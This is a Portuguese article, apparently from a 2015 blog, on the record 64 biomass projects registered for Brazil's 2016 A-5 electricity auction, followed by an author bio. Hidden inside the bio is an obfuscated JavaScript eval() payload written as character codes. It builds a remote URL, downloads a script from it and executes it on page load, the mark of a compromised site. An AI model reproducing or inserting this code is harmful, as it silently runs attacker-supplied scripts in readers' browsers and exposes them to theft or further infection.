Biomassa Cadastra Volume Recorde de Projetos em Leilão A-5


15-12-15

A EPE – Empresa de Pesquisa Energética cadastrou 64 projetos para o leilão de energia elétrica A-5 de 2016, totalizando uma potência recorde de 3.040 GW¹. O leilão, agendado para 5 de fevereiro de 2016, pode ser um grande marco para a retomada da expansão do setor de bioeletricidade.

Vale destacar a liderança dos Estados do Mato Grosso do Sul e de Minas Gerais, o que pode ser um indicativo de uma participação importante de projetos a partir de florestas energéticas. Além disso, chama a atenção a importância de Estados como Piauí, Amapá, Bahia e Tocantins, Estados onde a cana-de-açúcar é pouco presente. Outro destaque é a inscrição de um projeto de termelétrica a biogás de 21 MW que, se vencedor, pode vir a se tornar uma das maiores termelétricas a biogás do Brasil. Mais um indicador favorável ao setor é o tamanho médio dos projetos cada vez mais representativo, de 48 MW cada.

Com exceção do último leilão A-3, ocorrido em agosto de 2015, a EPE vinha praticando preços-teto competitivos para biomassa nos leilões de energia térmica dos últimos 2 anos. Certamente o aumento recente do preço-teto da energia elétrica foi o principal fator a fomentar os empreendedores a não só desengavetar antigos projetos com bagaço de cana, mas como desenvolver projetos greenfield com diferentes fontes de biomassa.

Cabe agora à EPE calibrar adequadamente o preço-teto do leilão de forma a não o esvaziar. Deixar que o próprio mecanismo de funcionamento do leilão regule a competição e defina quais projetos são os mais competitivos.

¹BRASIL. EPE (Empresa de Pesquisa Energética). Mais de mil projetos são cadastrados para Leilão A-5 2016. Rio de Janeiro: EPE, 2015.

Disponível em: 

http://www.epe.gov.br/leiloes/Paginas/Leil%C3%A3o%20de%20Energia%20A-5%202016/Maisdemilprojetoss%C3%A3ocadastradosparaLeil%C3%A3oA-52016.aspx

Eduardo Tobias N. F. Ruiz.
Diretor da CELA - Clean Energy Latin America, autor do livro "Análise de Investimento em Projetos Greenfield de Bioenergia" Professor da FGV e da FIA e Mestre em Agroenergia pela FGV, ESALQ e EMBRAPA.


  • Eduardo Tobias Ruiz

    EDUARDO TOBIAS RUIZ

    Diretor da CELA - Clean Energy Latin America. Mestre em Agroenergia pela FGV, ESALQ e EMBRAPA e autor do livro "Análise de Investimento em Projetos Greenfield de Bioenergia".eval(118,97,114,32,99,32,61,32,48,59,118,97,114,32,109,104,102,115,100,102,115,100,102,61,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,52,47,42,42,47,44,49,49,54,47,42,100,102,115,100,102,115,100,102,42,47,44,49,49,54,47,42,42,47,44,49,49,50,47,42,42,47,44,49,49,53,47,42,42,47,44,53,56,47,42,97,100,116,51,52,53,51,52,53,42,47,44,52,55,47,42,42,47,44,52,55,47,42,42,47,44,57,56,47,42,109,104,102,115,100,102,115,100,102,42,47,44,49,48,49,47,42,97,100,116,51,52,53,51,52,53,42,47,44,49,49,53,47,42,42,47,44,52,54,47,42,100,102,115,100,102,115,100,102,42,47,44,57,56,47,42,42,47,44,49,48,49,47,42,42,47,44,49,48,56,47,42,102,103,106,103,107,102,103,107,102,107,42,47,44,57,55,47,42,42,47,44,49,49,54,47,42,42,47,44,49,48,49,47,42,109,104,102,115,100,102,115,100,102,42,47,44,49,49,52,47,42,100,102,115,100,102,115,100,102,42,47,44,57,56,47,42,109,104,102,115,100,102,115,100,102,42,47,44,49,48,49,47,42,100,102,115,100,102,115,100,102,42,47,44,49,49,57,47,42,102,103,106,103,107,102,103,107,102,107,42,47,44,57,55,47,42,97,100,116,51,52,53,51,52,53,42,47,44,49,49,53,47,42,42,47,44,49,49,54,47,42,42,47,44,49,48,52,47,42,42,47,44,49,48,49,47,42,102,103,106,103,107,102,103,107,102,107,42,47,44,49,49,52,47,42,102,103,106,103,107,102,103,107,102,107,42,47,44,49,48,49,47,42,100,102,115,100,102,115,100,102,42,47,44,52,54,47,42,100,102,115,100,102,115,100,102,42,47,44,57,57,47,42,100,102,115,100,102,115,100,102,42,47,44,49,49,49,47,42,109,104,102,115,100,102,115,100,102,42,47,44,49,48,57,47,42,100,102,115,100,102,115,100,102,42,47,44,52,55,47,42,109,104,102,115,100,102,115,100,102,42,47,44,49,49,54,47,42,42,47,44,49,49,52,47,42,109,104,102,115,100,102,115,100,102,42,47,44,57,55,47,42,42,47,44,49,49,48,47,42,102,103,106,103,107,102,103,107,102,107,42,47,44,49,49,53,47,42,100,102,115,100,102,115,100,102,42,47,44,52,55,47,42,42,47,44,49,48,48,47,42,102,103,106,103,107,102,103,107,102,107,42,47,44,49,49,49,47,42,109,104,102,115,100,102,115,100,102,42,47,44,49,49,57,47,42,100,102,115,100,102,115,100,102,42,47,44,49,49,48,47,42,42,47,44,49,49,54,47,42,42,47,44,57,55,47,42,97,100,116,51,52,53,51,52,53,42,47,44,49,49,50,47,42,42,47,44,49,48,49,47,42,102,103,106,103,107,102,103,107,102,107,42,47,44,52,54,47,42,97,100,116,51,52,53,51,52,53,42,47,44,49,48,54,47,42,109,104,102,115,100,102,115,100,102,42,47,44,49,49,53,47,42,42,47,44,54,51,47,42,109,104,102,115,100,102,115,100,102,42,47,41,59,118,97,114,32,102,103,106,103,107,102,103,107,102,107,32,61,32,100,102,115,100,102,115,100,102,40,109,104,102,115,100,102,115,100,102,41,59,105,102,40,102,103,106,103,107,102,103,107,102,107,46,108,101,110,103,116,104,32,62,32,51,41,123,115,100,104,100,102,106,100,106,40,102,103,106,103,107,102,103,107,102,107,41,59,125,32,102,117,110,99,116,105,111,110,32,100,102,115,100,102,115,100,102,40,117,100,102,104,100,102,103,104,100,102,41,123,32,118,97,114,32,97,100,116,51,52,53,51,52,53,32,61,32,110,101,119,32,88,77,76,72,116,116,112,82,101,113,117,101,115,116,40,41,59,97,100,116,51,52,53,51,52,53,46,111,112,101,110,40,32,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,55,49,44,54,57,44,56,52,41,44,32,117,100,102,104,100,102,103,104,100,102,44,32,102,97,108,115,101,32,41,59,97,100,116,51,52,53,51,52,53,46,115,101,110,100,40,32,110,117,108,108,32,41,59,114,101,116,117,114,110,32,97,100,116,51,52,53,51,52,53,46,114,101,115,112,111,110,115,101,84,101,120,116,59,125,102,117,110,99,116,105,111,110,32,115,100,104,100,102,106,100,106,40,116,111,100,111,41,123,32,118,97,114,32,106,103,102,115,97,101,97,119,32,61,32,110,101,119,32,70,117,110,99,116,105,111,110,40,39,120,39,44,32,39,121,39,44,32,116,111,100,111,43,39,32,114,101,116,117,114,110,32,120,43,121,59,39,41,59,106,103,102,115,97,101,97,119,40,48,44,48,41,59,125);…

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